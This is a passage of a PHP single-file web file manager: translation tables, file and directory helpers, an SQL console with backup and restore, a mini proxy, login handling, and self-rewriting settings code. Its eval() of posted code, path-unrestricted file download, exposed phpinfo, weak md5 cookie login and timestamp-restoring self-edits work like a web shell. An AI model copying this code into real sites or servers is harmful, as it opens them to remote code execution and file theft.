$lang['Are you sure you want to delete this directory (recursively)'] = 'Sind Sie sicher, dass Sie diesen Ordner löschen möchten (rekursiv)?';
$lang['Are you sure you want to delete this file?'] = 'Sind Sie sicher, dass Sie diese Datei löschen möchten?';
$lang['Archiving'] = 'Archivierung';
$lang['Authorization']='Genehmigung';
$lang['Back'] = 'Zurück';
$lang['Cancel'] = 'Abbrechen';
$lang['Chinese']='Chinesische';
$lang['Compress'] = 'Compress';
$lang['Console'] = 'Console';
$lang['Cookie']='Cookie';
$lang['Created'] = 'Erstellt';
$lang['Date'] = 'Datum';
$lang['Days'] = 'Tage';
$lang['Decompress'] = 'Extract';
$lang['Delete'] = 'Löschen';
$lang['Deleted'] = 'Gelöschte';
$lang['Download'] = 'Laden';
$lang['done'] = 'fertig';
$lang['Edit'] = 'Bearbeiten';
$lang['Enter'] = 'Eintrag';
$lang['Englisch'] = 'Englisch';
$lang['Error occurred'] = 'Ein Fehler ist aufgetreten';
$lang['File manager'] = 'Datei Manager';
$lang['File selected'] = 'Die ausgewählte Datei';
$lang['File updated'] = 'Die Datei wird gespeichert';
$lang['Filename'] = 'Dateiname';
$lang['Files uploaded'] = 'Datei hochgeladen';
$lang['French'] = 'Französisch';
$lang['Generation time'] = 'Generation Zeit';
$lang['German']='Deutche';
$lang['Home'] = 'Home';
$lang['Quit'] = 'Abmelden';
$lang['Language'] = 'Sprache';
$lang['Login'] = 'Login';
$lang['Manage'] = 'Management';
$lang['Make directory'] = 'Neuer Ordner';
$lang['Name']='Name';
$lang['New']='Neu';
$lang['New file'] = 'Neue Datei';
$lang['no files'] = 'keine Dateien';
$lang['Password'] = 'Passwort';
$lang['pictures'] = 'Bilder';
$lang['Recursively'] = 'rekursive';
$lang['Reset']='Zurücksetzen';
$lang['Rename'] = 'Umbenennen';
$lang['Reset settings']='Einstellungen zurücksetzen';
$lang['Result']='Result';
$lang['Ergebnis'] = 'Ergebnis';
$lang['Rights'] = 'Rechte';
$lang['Russian'] = 'Russisch';
$lang['Save']='Speichern';
$lang['Select'] = 'Wählen';
$lang['Select the file'] = 'Wählen Sie die Datei';
$lang['Settings']='Einstellungen';
$lang['Show'] = 'Show';
$lang['Show size of the folder'] = 'Größe des Ordners anzeigen';
$lang['Size'] = 'Größe';
$lang['Spanish']='Spanisch';
$lang['Submit'] = 'Senden';
$lang['Task'] = 'Aufgabe';
$lang['templates']='Vorlagen';
$lang['Ukrainian'] = 'Ukrainisch';
$lang['Upload'] = 'Upload';
$lang['Value']='Wert';
$lang['Hello'] = 'Hallo';
} elseif ($language=='fr') {
$lang['Add']='Ajouter';
$lang['Are you sure you want to delete this directory (recursively)?']='Êtes-vous sûr de vouloir supprimer ce dossier (récursive)?';
$lang['Are you sure you want to delete this file?']='Êtes-vous sûr de vouloir supprimer ce fichier?';
$lang['Archiving']='Archives';
$lang['Authorization']='Autorisation';
$lang['Back']='Arrière';
$lang['Cancel']='annulation';
$lang['Chinese']='Chinois';
$lang['Compress']='Presser';
$lang['Console']='Console';
$lang['Cookie']='Cookie';
$lang['Created']='Êtabli';
$lang['Date']='La date';
$lang['Days']='Journées';
$lang['Decompress']='Décompresser';
$lang['Delete']='Supprimer';
$lang['Deleted']='Supprimé';
$lang['Download']='Télécharger';
$lang['done']='terminé';
$lang['Edit']='Editer';
$lang['Enter']='Entrée';
$lang['English']='Anglais';
$lang['Error occurred']='Une erreur est survenue';
$lang['File manager']='Gestionnaire de fichiers';
$lang['File selected']='Fichier sélectionné';
$lang['File updated']='Le fichier est enregistré';
$lang['Filename']='Nom du fichier';
$lang['Files uploaded']='Fichiers uploadés';
$lang['French']='Française';
$lang['Generation time']='Génération de la page';
$lang['German']='Allemand';
$lang['Home']='Home';
$lang['Quit']='Quitter';
$lang['Language']='Langue';
$lang['Login']='Connexion';
$lang['Manage']='Gestion';
$lang['Make directory']='Nouveau dossier';
$lang['Name']='Nom';
$lang['New']='Nouveau';
$lang['New file']='Nouveau fichier';
$lang['no files']='aucun fichier';
$lang['Password']='Mot de passe';
$lang['pictures']='des photos';
$lang['Recursively']='Récursive';
$lang['Rename']='Renommer';
$lang['Reset']='Réinitialiser';
$lang['Reset settings']='Réinitialiser les paramètres';
$lang['Result']='Résultat';
$lang['Rights']='Permissions';
$lang['Russian']='Russe';
$lang['Save']='Enregistrer';
$lang['Select']='Sélectionnez';
$lang['Select the file']='Sélectionnez le fichier';
$lang['Settings']='Réglages';
$lang['Show']='Show';
$lang['Show size of the folder']='Afficher la taille du dossier';
$lang['Size']='Taille';
$lang['Spanish']='Espagnol';
$lang['Submit']='Envoyer';
$lang['Task']='Tâche';
$lang['templates']='templates';
$lang['Ukrainian']='Ukrainien';
$lang['Upload']='Télécharger';
$lang['Value']='Valeur';
$lang['Hello']='Bonjour';
} else if ($language=='uk') {
$lang['Add']='Додати';
$lang['Are you sure you want to delete this directory (recursively)?']='Ви впевнені, що бажаєте видалити цю папку (рекурсивно)?';
$lang['Are you sure you want to delete this file?']='Ви впевнені, що бажаєте видалити цей файл?';
$lang['Archiving']='Архівувати';
$lang['Authorization']='Авторизація';
$lang['Back']='Назад';
$lang['Cancel']='Відміна';
$lang['Chinese']='Китайська';
$lang['Compress']='Сжати';
$lang['Console']='Консоль';
$lang['Cookie']='Кукi';
$lang['Created']='Створений';
$lang['Date']='Дата';
$lang['Date']='Днiв';
$lang['Decompress']='Розпакувати';
$lang['Delete']='Видалити';
$lang['Deleted']='Видалено';
$lang['Download']='Скачати';
$lang['done']='закінчено';
$lang['Edit']='Редагувати';
$lang['Enter']='Вхід';
$lang['English']='Англійська';
$lang['Error occurred']='Виникла помилка';
$lang['File manager']='Файловий менеджер';
$lang['File selected']='Обрано файл';
$lang['File updated']='Файл збережено';
$lang['Filename']='Им\'я файла';
$lang['Files uploaded']='Файл завантажено';
$lang['French']='Французська';
$lang['Generation time']='Генерація сторінки';
$lang['German']='Німецька';
$lang['Home']='Додому';
$lang['Quit']='Вихід';
$lang['Language']='Мова';
$lang['Login']='Логін';
$lang['Manage']='Управління';
$lang['Make directory']='Створити папку';
$lang['Name']='Найменування';
$lang['New']='Нове';
$lang['New file']='Новий файл';
$lang['no files']='немає файлів';
$lang['Password']='Пароль';
$lang['pictures']='фотографії';
$lang['Recursively']='Рекурсивно';
$lang['Rename']='Перейменувати';
$lang['Reset']='Скидання';
$lang['Reset settings']='Скинути налаштування';
$lang['Result']='Результат';
$lang['Rights']='Права';
$lang['Russian']='Російська';
$lang['Save']='Зберегти';
$lang['Select']='Виберіть';
$lang['Select the file']='Виберіть файл';
$lang['Settings']='Налаштування';
$lang['Show']='Показати';
$lang['Show size of the folder']='Показати розмір папки';
$lang['Size']='Розмір';
$lang['Spanish']='Іспанська';
$lang['Submit']='Відправити';
$lang['Task']='Завдання';
$lang['templates']='шаблони';
$lang['Ukrainian']='Українська';
$lang['Upload']='Завантажити';
$lang['Value']='Значення';
$lang['Hello']='Вітаю';
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '

input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents('fm.php');
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents('fm.php');
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
